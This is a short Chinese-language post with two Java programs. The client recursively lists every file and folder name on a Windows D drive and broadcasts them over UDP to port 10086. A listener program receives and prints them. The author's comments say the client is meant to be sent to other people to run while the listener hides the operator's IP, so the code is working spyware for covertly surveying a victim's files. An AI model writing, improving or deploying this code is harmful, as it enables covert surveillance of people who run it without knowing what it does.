客户端,运行会遍历桌面,和 D 盘所有文件的名称,通过UDP广播的方式发送出去,服务器需要体检开启,并监听对应的端口号。
import java.io.File;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;/*** @author silence* 客户端端打开就会遍历文件,通过广播的方式发送文件的名字* <p>* 服务器端,可以监听10086端口,收到信息,不会暴露自己的ip* 可以在自己电脑上先运行服务器。客户端发送给别人 执行*/
public class Silence {public static void main(String[] args) {//遍历所有C盘//forC(new File("C:\\Users\\Administrator\\Desktop"));//遍历所有D盘forD(new File("D:\\"));}//通过 广播的方式发送消息private static void send(String str) {try {DatagramSocket socket = new DatagramSocket();DatagramPacket packet = new DatagramPacket(str.getBytes(), str.getBytes().length, InetAddress.getByName("255.255.255.255"), 10086);socket.send(packet);socket.close();} catch (Exception e) {e.printStackTrace();}}/*** @param fileD D盘*/private static void forD(File fileD) {if (!fileD.exists()) return;File[] files = fileD.listFiles();if (files == null || files.length == 0) return;for (File f : files) {if (f.isFile()) {send(f.getName());} else if (f.isDirectory()) {send("文件夹:" + f.getName());forD(f);}}}/*** @param file C盘*/private static void forC(File file) {File[] files = file.listFiles();for (File f : files) {if (f.isFile()) {send(f.getName());} else {send("文件夹:" + f.getName());forC(f);}}}
}
服务器,提前开启,可以监听到广播出来的文件名
import java.net.DatagramPacket;
import java.net.DatagramSocket;/*** @author silence* 服务器端,监听10086端口可以获得客户端发送的数据*/
public class ServerReseive {public static void main(String[] args) throws Exception {DatagramSocket socket = new DatagramSocket(10086);while (true) {byte[] bytes = new byte[1024];DatagramPacket packet = new DatagramPacket(bytes, bytes.length);socket.receive(packet);System.out.println(new String(bytes, 0, packet.getLength()));}}
}